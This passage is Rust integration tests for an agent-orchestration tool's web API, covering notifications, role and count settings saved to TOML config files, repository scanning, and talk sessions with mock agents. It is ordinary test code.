12584        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12585        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12586
12587        let read = fx
12588            .post(&format!("/api/notifications/{}/read", a.id), None)
12589            .await;
12590        assert_eq!(read.status, 200, "{}", read.body);
12591        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12592
12593        let gone = fx
12594            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12595            .await;
12596        assert_eq!(gone.status, 200, "{}", gone.body);
12597        let listed = fx.get("/api/notifications").await.json();
12598        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12599        assert_eq!(listed["unread"], 0);
12600
12601        store.raise(Notice::info("x", "again")).unwrap();
12602        let all = fx.post("/api/notifications/read-all", None).await;
12603        assert_eq!(all.status, 200, "{}", all.body);
12604        assert_eq!(all.json()["marked"], 1);
12605        assert_eq!(
12606            fx.get("/api/health").await.json()["notifications_unread"],
12607            0
12608        );
12609
12610        let missing = fx.post("/api/notifications/nope/read", None).await;
12611        assert_eq!(missing.status, 404, "{}", missing.body);
12612        assert!(missing.json()["error"].is_string());
12613    }
12614
12615    /// New work reaches the queue through `magi task add`, a standing talk's
12616    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12617    /// so the compose form and that route are gone. The tests that covered
12618    /// that route's validation went with it, and nothing was left asserting
12619    /// it stays gone — so a re-added handler would silently let the phone
12620    /// file briefs no one validated.
12621    #[tokio::test]
12622    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12623        let f = Fixture::start().await;
12624
12625        let res = f
12626            .post(
12627                "/api/queue",
12628                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12629            )
12630            .await;
12631
12632        assert_eq!(
12633            res.status, 405,
12634            "POST /api/queue must not be a route: {}",
12635            res.body
12636        );
12637        assert!(
12638            f.queue().list().is_empty(),
12639            "a task filed by a route that does not exist must not reach the disk"
12640        );
12641        // The path itself is still served — the Queue view reads it — and the
12642        // per-task controls are untouched by the entry being removed.
12643        assert_eq!(f.get("/api/queue").await.status, 200);
12644    }
12645
12646    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12647    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12648        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12649            .expect("checkout dir");
12650    }
12651
12652    /// Two command agents, so a config needs no real CLI.
12653    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12654
12655    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12656        let tmp = TempDir::new().expect("tempdir");
12657        let repo = tmp.path().join("repo");
12658        std::fs::create_dir_all(&repo).expect("repo dir");
12659        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12660        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12661        if let Some(text) = machine_toml {
12662            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12663            std::fs::write(&machine, text).expect("machine toml");
12664        }
12665        (tmp, repo, machine)
12666    }
12667
12668    async fn settings_checkout(path: &FsPath, text: &str) {
12669        std::fs::create_dir_all(path).unwrap();
12670        std::fs::write(path.join("magi.toml"), text).unwrap();
12671        for args in [
12672            vec!["init", "-b", "main"],
12673            vec!["add", "magi.toml"],
12674            vec![
12675                "-c",
12676                "user.name=Test",
12677                "-c",
12678                "user.email=test@example.invalid",
12679                "commit",
12680                "-m",
12681                "fixture",
12682            ],
12683            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12684            vec![
12685                "symbolic-ref",
12686                "refs/remotes/origin/HEAD",
12687                "refs/remotes/origin/main",
12688            ],
12689        ] {
12690            crate::git::git(path, &args).await.unwrap();
12691        }
12692    }
12693
12694    #[tokio::test]
12695    async fn settings_context_handlers_validate_and_save_without_a_socket() {
12696        let (tmp, repo, machine) =
12697            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12698        let root = tmp.path().join("roots");
12699        let selected = root.join("host/owner/selected");
12700        settings_checkout(
12701            &selected,
12702            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12703        )
12704        .await;
12705        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12706        let before = std::fs::read(&machine).unwrap();
12707        let ui = Arc::new(
12708            Ui::new(
12709                Queue::at(tmp.path().join("queue")),
12710                Questions::at(tmp.path().join("questions")),
12711                Talks::at(tmp.path().join("talks")),
12712                tmp.path().join("runs"),
12713                tmp.path().to_path_buf(),
12714                repo.clone(),
12715            )
12716            .with_machine_config(Some(machine.clone())),
12717        );
12718        let query = || {
12719            Query(SettingsQuery {
12720                repo: Some(selected.clone()),
12721            })
12722        };
12723        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12724        assert!(v.error.is_none(), "{:?}", v.error);
12725        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12726        assert_eq!(conductor.source, "repo");
12727        assert_eq!(
12728            conductor.machine_value,
12729            Some(toml::Value::String("a".into()))
12730        );
12731        assert!(!conductor.editable);
12732        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12733        assert_eq!(
12734            judges.count.as_ref().unwrap().machine_value,
12735            Some(toml::Value::Integer(1))
12736        );
12737        assert!(
12738            !v.roles
12739                .iter()
12740                .find(|r| r.key == "reviewers")
12741                .unwrap()
12742                .editable
12743        );
12744        let unknown = || {
12745            Query(SettingsQuery {
12746                repo: Some(tmp.path().to_path_buf()),
12747            })
12748        };
12749        assert_eq!(
12750            settings_get(State(ui.clone()), unknown())
12751                .await
12752                .unwrap_err()
12753                .status,
12754            StatusCode::UNPROCESSABLE_ENTITY
12755        );
12756        let body = || {
12757            Ok(Json(RolesBody {
12758                revision: v.revision.clone(),
12759                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12760                counts: Default::default(),
12761            }))
12762        };
12763        assert_eq!(
12764            settings_put_roles(State(ui.clone()), unknown(), body())
12765                .await
12766                .unwrap_err()
12767                .status,
12768            StatusCode::UNPROCESSABLE_ENTITY
12769        );
12770        assert_eq!(std::fs::read(&machine).unwrap(), before);
12771        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12772            .await
12773            .unwrap();
12774        assert_eq!(
12775            saved.repo,
12776            selected.canonicalize().unwrap().display().to_string()
12777        );
12778        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12779        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12780        // A cache miss refreshes the stable candidate list exactly for validation.
12781        let fresh = root.join("host/owner/fresh");
12782        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12783        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12784            .await
12785            .unwrap();
12786        assert_eq!(fresh_view.repositories.len(), 3);
12787    }
12788
12789    #[tokio::test]
12790    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12791        let (tmp, repo, machine) = settings_dirs(
12792            "[roles]\nreviewers = [\"a\"]\n",
12793            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12794        );
12795        let root = tmp.path().join("roots");
12796        let selected = root.join("host/owner/selected");
12797        settings_checkout(
12798            &selected,
12799            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12800        )
12801        .await;
12802        let broken = root.join("host/owner/broken");
12803        settings_checkout(&broken, "[roles\nbroken").await;
12804        let machine_text = format!(
12805            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12806            toml::Value::String(root.display().to_string())
12807        );
12808        std::fs::write(&machine, &machine_text).unwrap();
12809        let originals: Vec<_> = [&repo, &selected, &broken]
12810            .iter()
12811            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12812            .collect();
12813        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12814        let default = f.get("/api/settings").await.json();
12815        assert_eq!(
12816            default["repo"],
12817            repo.canonicalize().unwrap().display().to_string()
12818        );
12819        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12820        let query = format!("?repo={}", selected.display());
12821        let res = f.get(&format!("/api/settings{query}")).await;
12822        assert_eq!(res.status, 200, "{}", res.body);
12823        let v = res.json();
12824        assert!(v["error"].is_null(), "{v}");
12825        assert_eq!(v["repositories"], default["repositories"]);
12826        let role = |key: &str| {
12827            v["roles"]
12828                .as_array()
12829                .unwrap()
12830                .iter()
12831                .find(|r| r["key"] == key)
12832                .unwrap()
12833        };
12834        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12835        assert_eq!(role("advisors")["source"], "repo");
12836        assert_eq!(role("advisors")["editable"], false);
12837        assert!(role("advisors")["machine_value"].is_null());
12838        assert_eq!(role("judges")["count"]["value"], 2);
12839        assert_eq!(role("judges")["count"]["machine_value"], 1);
12840        assert_eq!(role("judges")["count"]["source"], "repo");
12841        let source = role("judges")["count"]["source_path"].as_str().unwrap();
12842        assert!(
12843            source.contains("origin/main") && !source.contains("magi/config/"),
12844            "{source}"
12845        );
12846        assert_eq!(
12847            role("reviewers")["editable"],
12848            false,
12849            "default context outside roots must protect its declarations"
12850        );
12851        let body =
12852            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12853        let unknown = format!("?repo={}", tmp.path().display());
12854        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12855        assert_eq!(
12856            f.put(&format!("/api/settings/roles{unknown}"), &body)
12857                .await
12858                .status,
12859            422
12860        );
12861        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12862        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12863            .to_string();
12864        assert_eq!(
12865            f.put(&format!("/api/settings/roles{query}"), &refuse)
12866                .await
12867                .status,
12868            422
12869        );
12870        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12871        assert_eq!(saved.status, 200, "{}", saved.body);
12872        assert_eq!(saved.json()["repo"], v["repo"]);
12873        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12874        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12875        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12876            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12877        }
12878        let error = f
12879            .get(&format!("/api/settings?repo={}", broken.display()))
12880            .await;
12881        assert_eq!(error.status, 200);
12882        assert!(error.json()["error"]["message"].is_string());
12883        assert_eq!(error.json()["repositories"], default["repositories"]);
12884    }
12885
12886    #[tokio::test]
12887    async fn settings_get_reports_sources_and_the_advisors_fallback() {
12888        let (_tmp, repo, machine) =
12889            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12890        let f = Fixture::with_repo_and_machine(repo, machine).await;
12891        let res = f.get("/api/settings").await;
12892        assert_eq!(res.status, 200, "{}", res.body);
12893        let v = res.json();
12894        assert!(v["error"].is_null(), "{v}");
12895        let role = |k: &str| {
12896            v["roles"]
12897                .as_array()
12898                .and_then(|r| r.iter().find(|x| x["key"] == k))
12899                .cloned()
12900                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12901        };
12902        assert_eq!(role("judges")["source"], "machine");
12903        assert_eq!(role("judges")["editable"], true);
12904        assert_eq!(role("implementers")["source"], "default");
12905        let adv = role("advisors");
12906        assert_eq!(adv["fallback"], "judges");
12907        assert!(
12908            adv["seats"]
12909                .as_array()
12910                .is_some_and(|s| s.iter().all(|x| x == "b")),
12911            "{adv}"
12912        );
12913        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12914        assert_eq!(v["agents"][0]["source"], "repo");
12915    }
12916
12917    #[tokio::test]
12918    async fn settings_get_reports_a_config_that_does_not_parse() {
12919        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12920        let f = Fixture::with_repo_and_machine(repo, machine).await;
12921        let res = f.get("/api/settings").await;
12922        assert_eq!(res.status, 200, "{}", res.body);
12923        let v = res.json();
12924        assert!(v["error"]["message"].is_string(), "{v}");
12925        assert!(
12926            v["error"]["path"]
12927                .as_str()
12928                .is_some_and(|p| p.ends_with("magi.toml")),
12929            "{v}"
12930        );
12931        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12932    }
12933
12934    #[tokio::test]
12935    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12936        let (_tmp, repo, machine) = settings_dirs(
12937            SETTINGS_AGENTS,
12938            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12939        );
12940        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12941        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12942        let rev = f.get("/api/settings").await.json()["revision"]
12943            .as_str()
12944            .expect("revision")
12945            .to_owned();
12946        let body = serde_json::json!({
12947            "revision": rev,
12948            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12949        })
12950        .to_string();
12951        let res = f.put("/api/settings/roles", &body).await;
12952        assert_eq!(res.status, 200, "{}", res.body);
12953        let text = std::fs::read_to_string(&machine).expect("machine");
12954        assert_eq!(
12955            text,
12956            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12957        );
12958        assert_eq!(
12959            std::fs::read(repo.join("magi.toml")).expect("read"),
12960            repo_before
12961        );
12962        let again = f.get("/api/settings").await.json();
12963        let judges = again["roles"]
12964            .as_array()
12965            .expect("roles")
12966            .iter()
12967            .find(|r| r["key"] == "judges")
12968            .expect("judges")
12969            .clone();
12970        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12971        // The old revision is now stale.
12972        let stale = f.put("/api/settings/roles", &body).await;
12973        assert_eq!(stale.status, 409, "{}", stale.body);
12974    }
12975
12976    #[tokio::test]
12977    async fn settings_counts_are_reported_and_saved() {
12978        let (_tmp, repo, machine) = settings_dirs(
12979            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12980            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12981        );
12982        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12983        let v = f.get("/api/settings").await.json();
12984        let count = |v: &serde_json::Value, k: &str| {
12985            v["roles"]
12986                .as_array()
12987                .and_then(|r| r.iter().find(|x| x["key"] == k))
12988                .map(|x| x["count"].clone())
12989                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12990        };
12991        let imp = count(&v, "implementers");
12992        assert_eq!(imp["value"], 2);
12993        assert_eq!(imp["source"], "machine");
12994        assert_eq!(imp["file_key"], "candidates");
12995        assert_eq!(imp["roster_len"], 2);
12996        assert_eq!(imp["backups"], 0);
12997        assert_eq!(count(&v, "judges")["source"], "default");
12998        assert_eq!(count(&v, "advisors")["min"], 0);
12999        assert_eq!(count(&v, "reviewers")["editable"], false);
13000        assert!(
13001            count(&v, "reviewers")["locked_reason"]
13002                .as_str()
13003                .is_some_and(|m| m.contains("graph.reviewers"))
13004        );
13005        assert!(count(&v, "fixer").is_null());
13006        let rev = v["revision"].as_str().expect("revision").to_owned();
13007        let body = serde_json::json!({
13008            "revision": rev,
13009            "roles": { "judges": ["b"] },
13010            "counts": { "implementers": 1, "advisors": 0 }
13011        })
13012        .to_string();
13013        let res = f.put("/api/settings/roles", &body).await;
13014        assert_eq!(res.status, 200, "{}", res.body);
13015        let text = std::fs::read_to_string(&machine).expect("machine");
13016        assert_eq!(
13017            text,
13018            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13019        );
13020        let after = f.get("/api/settings").await.json();
13021        assert_eq!(count(&after, "implementers")["value"], 1);
13022        assert_eq!(count(&after, "implementers")["backups"], 1);
13023        assert_eq!(count(&after, "advisors")["value"], 0);
13024        let before = std::fs::read_to_string(&machine).expect("machine");
13025        let rev = after["revision"].as_str().expect("revision").to_owned();
13026        for counts in [
13027            serde_json::json!({ "judges": 0 }),
13028            serde_json::json!({ "judges": "x" }),
13029            serde_json::json!({ "judges": 2.5 }),
13030            serde_json::json!({ "judges": -1 }),
13031            serde_json::json!({ "reviewers": 3 }),
13032            serde_json::json!({ "bogus": 3 }),
13033        ] {
13034            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13035            let res = f.put("/api/settings/roles", &body).await;
13036            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13037            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13038        }
13039    }
13040
13041    #[tokio::test]
13042    async fn settings_put_refuses_without_touching_the_file() {
13043        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13044        let (_tmp, repo, machine) = settings_dirs(
13045            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13046            Some(machine_text),
13047        );
13048        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13049        let rev = f.get("/api/settings").await.json()["revision"]
13050            .as_str()
13051            .expect("revision")
13052            .to_owned();
13053        for roles in [
13054            serde_json::json!({ "judges": ["nope"] }),
13055            serde_json::json!({ "reviewers": ["b"] }),
13056            serde_json::json!({ "bogus": ["a"] }),
13057        ] {
13058            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13059            let res = f.put("/api/settings/roles", &body).await;
13060            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13061            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13062            assert_eq!(
13063                std::fs::read_to_string(&machine).expect("machine"),
13064                machine_text
13065            );
13066        }
13067    }
13068
13069    #[tokio::test]
13070    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13071        let tmp = TempDir::new().expect("tempdir");
13072        let repo = tmp.path().join("repo");
13073        std::fs::create_dir_all(&repo).expect("repo dir");
13074        let root = tmp.path().join("root");
13075        make_checkout(&root, "github.com", "yukimemi", "magi");
13076        std::fs::write(
13077            repo.join("magi.toml"),
13078            format!(
13079                "[repos]\nroots = [{:?}]\n",
13080                root.to_string_lossy().into_owned()
13081            ),
13082        )
13083        .expect("write magi.toml");
13084
13085        let f = Fixture::with_repo(repo).await;
13086        let res = f.get("/api/repos").await;
13087        assert_eq!(res.status, 200, "{}", res.body);
13088        let list = res.json();
13089        let repos = list.as_array().expect("an array");
13090        assert_eq!(repos.len(), 1);
13091        assert_eq!(repos[0]["name"], "yukimemi/magi");
13092        assert!(
13093            repos[0]["path"]
13094                .as_str()
13095                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13096            "{list}"
13097        );
13098    }
13099
13100    #[tokio::test]
13101    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13102        let tmp = TempDir::new().expect("tempdir");
13103        let repo = tmp.path().join("repo");
13104        std::fs::create_dir_all(&repo).expect("repo dir");
13105        let root = tmp.path().join("root");
13106        make_checkout(&root, "github.com", "yukimemi", "magi");
13107        std::fs::write(
13108            repo.join("magi.toml"),
13109            format!(
13110                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13111                root.to_string_lossy().into_owned()
13112            ),
13113        )
13114        .expect("write magi.toml");
13115
13116        let f = Fixture::with_repo(repo).await;
13117        let first = f.get("/api/repos").await;
13118        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13119
13120        // A second checkout appears; within the TTL the cached answer must
13121        // not notice it.
13122        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13123        let second = f.get("/api/repos").await;
13124        assert_eq!(
13125            second.json().as_array().map(Vec::len),
13126            Some(1),
13127            "a fresh cache must not rescan inside the TTL"
13128        );
13129
13130        let refreshed = f.get("/api/repos?refresh=1").await;
13131        assert_eq!(
13132            refreshed.json().as_array().map(Vec::len),
13133            Some(2),
13134            "an explicit refresh must rescan even inside the TTL"
13135        );
13136    }
13137
13138    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13139    /// string, declared straight in a repository's own `magi.toml` rather
13140    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13141    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13142    /// this is safe to run over a real HTTP round trip.
13143    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13144
13145    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13146    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13147    /// even though it takes no turn, and `talk_say` invokes one.
13148    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13149        let tmp = TempDir::new().expect("tempdir");
13150        let repo = tmp.path().join("repo");
13151        std::fs::create_dir_all(&repo).expect("repo dir");
13152        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13153        let f = Fixture::with_repo(repo.clone()).await;
13154        (tmp, repo, f)
13155    }
13156
13157    #[tokio::test]
13158    async fn posting_a_talk_with_remembered_choices_is_soft() {
13159        let (_tmp, _repo, f) = talk_fixture().await;
13160
13161        let good = f
13162            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13163            .await;
13164        assert_eq!(good.status, 201, "{}", good.body);
13165        assert_eq!(good.json()["persona"], "rei");
13166
13167        // Wrong values and wrong types are dropped one by one, never a 4xx.
13168        let stale = f
13169            .post(
13170                "/api/talks",
13171                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13172            )
13173            .await;
13174        assert_eq!(stale.status, 201, "{}", stale.body);
13175        let v = stale.json();
13176        assert_eq!(v["implementers"], 1);
13177        assert_ne!(v["persona"], "nobody");
13178        let typed = f
13179            .post(
13180                "/api/talks",
13181                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13182            )
13183            .await;
13184        assert_eq!(typed.status, 201, "{}", typed.body);
13185
13186        // The strict `agent` field still refuses an unknown id.
13187        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13188        assert!(
13189            !strict.status.to_string().starts_with('2'),
13190            "{}",
13191            strict.body
13192        );
13193    }
13194
13195    #[tokio::test]
13196    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13197        let (_tmp, _repo, f) = talk_fixture().await;
13198
13199        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13200        // is the ordinary way a phone opens a talk.
13201        let opened = f.post("/api/talks", None).await;
13202        assert_eq!(opened.status, 201, "{}", opened.body);
13203        let body = opened.json();
13204        assert_eq!(body["status"], "open");
13205        assert_eq!(
13206            body["turns"].as_array().unwrap().len(),
13207            0,
13208            "opening takes no agent turn: there is nothing yet to answer"
13209        );
13210
13211        // An explicit empty object is the same request as none at all.
13212        let also_opened = f.post("/api/talks", Some("{}")).await;
13213        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13214
13215        let listed = f.get("/api/talks").await.json();
13216        assert_eq!(listed.as_array().unwrap().len(), 2);
13217    }
13218
13219    #[tokio::test]
13220    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13221        let tmp = TempDir::new().expect("tempdir");
13222        let repo = tmp.path().join("repo");
13223        std::fs::create_dir_all(&repo).expect("repo dir");
13224        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13225        std::fs::write(
13226            repo.join("magi.toml"),
13227            format!("{MOCK_AGENT_TOML}\n{second}"),
13228        )
13229        .expect("write magi.toml");
13230        let home = TempDir::new().expect("temp home");
13231        let talks = Talks::at(home.path().join("talks"));
13232        let ui = Arc::new(
13233            Ui::new(
13234                Queue::at(home.path().join("queue")),
13235                Questions::at(home.path().join("questions")),
13236                talks.clone(),
13237                home.path().join("runs"),
13238                home.path().to_path_buf(),
13239                repo.clone(),
13240            )
13241            .with_worktrees_root(home.path().join("wt")),
13242        );
13243        let cfg = config_for(&repo).await.expect("discover config");
13244        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13245        let id = talk.id.clone();
13246        let call = |agent: &str| {
13247            talk_agent(
13248                State(Arc::clone(&ui)),
13249                Path(id.clone()),
13250                Json(TalkAgent {
13251                    agent: agent.to_owned(),
13252                }),
13253            )
13254        };
13255
13256        let unknown = call("nobody").await.expect_err("unknown agent");
13257        assert_eq!(
13258            unknown.status,
13259            StatusCode::BAD_REQUEST,
13260            "{}",
13261            unknown.message
13262        );
13263
13264        {
13265            // Nothing refused so far took a claim, so the guard is free to take
13266            // and holding it is what makes the talk busy.
13267            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13268            let busy = call("second").await.expect_err("busy talk");
13269            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13270            assert!(
13271                busy.message.contains("a talk turn is running"),
13272                "{}",
13273                busy.message
13274            );
13275            drop(guard);
13276        }
13277        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13278
13279        let Json(view) = call("second").await.expect("switch");
13280        assert_eq!(view.talk.agent, "second");
13281        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13282        let saved = talks.get(&id).expect("reload");
13283        assert_eq!(saved.agent, "second");
13284        assert_eq!(saved.turns.len(), 1);
13285        assert!(!view.thinking);
13286        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13287        for agent in ["mock", "second"] {
13288            let Json(view) = call(agent).await.expect("immediate consecutive change");
13289            assert_eq!(view.talk.agent, agent);
13290            assert!(!view.thinking);
13291            assert!(!ui.is_thinking(&id));
13292        }
13293
13294        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13295            .await
13296            .expect("detail");
13297        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13298        assert_eq!(roster, ["mock", "second"]);
13299
13300        let mut closed = talks.get(&id).expect("reload");
13301        talk::close(&mut closed, &talks).expect("close");
13302        let refused = call("mock").await.expect_err("closed talk");
13303        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13304        assert!(
13305            refused.message.contains("takes no more turns"),
13306            "{}",
13307            refused.message
13308        );
13309    }
13310
13311    #[tokio::test]
13312    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13313        let tmp = TempDir::new().expect("tempdir");
13314        let repo = tmp.path().join("repo");
13315        std::fs::create_dir_all(&repo).expect("repo dir");
13316        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13317        let home = TempDir::new().expect("temp home");
13318        let talks = Talks::at(home.path().join("talks"));
13319        let ui = Arc::new(
13320            Ui::new(
13321                Queue::at(home.path().join("queue")),
13322                Questions::at(home.path().join("questions")),
13323                talks.clone(),
13324                home.path().join("runs"),
13325                home.path().to_path_buf(),
13326                repo.clone(),
13327            )
13328            .with_worktrees_root(home.path().join("wt")),
13329        );
13330        let cfg = config_for(&repo).await.expect("discover config");
13331        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13332        let id = talk.id.clone();
13333        let call = |n: u8| {
13334            talk_implementers(
13335                State(Arc::clone(&ui)),
13336                Path(id.clone()),
13337                Json(TalkImplementers { implementers: n }),
13338            )
13339        };
13340
13341        for bad in [0u8, 4] {
13342            let e = call(bad).await.expect_err("out of range");
13343            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13344        }
13345        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13346
13347        {
13348            // Nothing refused so far took a claim, so the guard is free to take
13349            // and holding it is what makes the talk busy.
13350            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13351            let busy = call(2).await.expect_err("busy talk");
13352            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13353            assert!(
13354                busy.message.contains("a talk turn is running"),
13355                "{}",
13356                busy.message
13357            );
13358            drop(guard);
13359        }
13360
13361        let Json(view) = call(3).await.expect("switch");
13362        assert_eq!(view.talk.implementers, 3);
13363        assert!(talks.get(&id).expect("reload").implementers_dirty);
13364        assert!(!view.thinking);
13365        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13366        for n in [1, 2, 3] {
13367            let Json(view) = call(n).await.expect("immediate consecutive change");
13368            assert_eq!(view.talk.implementers, n);
13369            assert!(!view.thinking);
13370            assert!(!ui.is_thinking(&id));
13371        }
13372
13373        let mut closed = talks.get(&id).expect("reload");
13374        talk::close(&mut closed, &talks).expect("close");
13375        let e = call(2).await.expect_err("closed talk");
13376        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13377        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13378    }
13379
13380    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13381    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13382        let tmp = TempDir::new().expect("tempdir");
13383        let repo = tmp.path().join("repo");
13384        std::fs::create_dir_all(&repo).expect("repo dir");
13385        std::fs::write(
13386            repo.join("magi.toml"),
13387            format!("{MOCK_AGENT_TOML}\n{extra}"),
13388        )
13389        .expect("write magi.toml");
13390        let home = TempDir::new().expect("temp home");
13391        let talks = Talks::at(home.path().join("talks"));
13392        let ui = Arc::new(
13393            Ui::new(
13394                Queue::at(home.path().join("queue")),
13395                Questions::at(home.path().join("questions")),
13396                talks.clone(),
13397                home.path().join("runs"),
13398                home.path().to_path_buf(),
13399                repo.clone(),
13400            )
13401            .with_worktrees_root(home.path().join("wt")),
13402        );
13403        let cfg = config_for(&repo).await.expect("discover config");
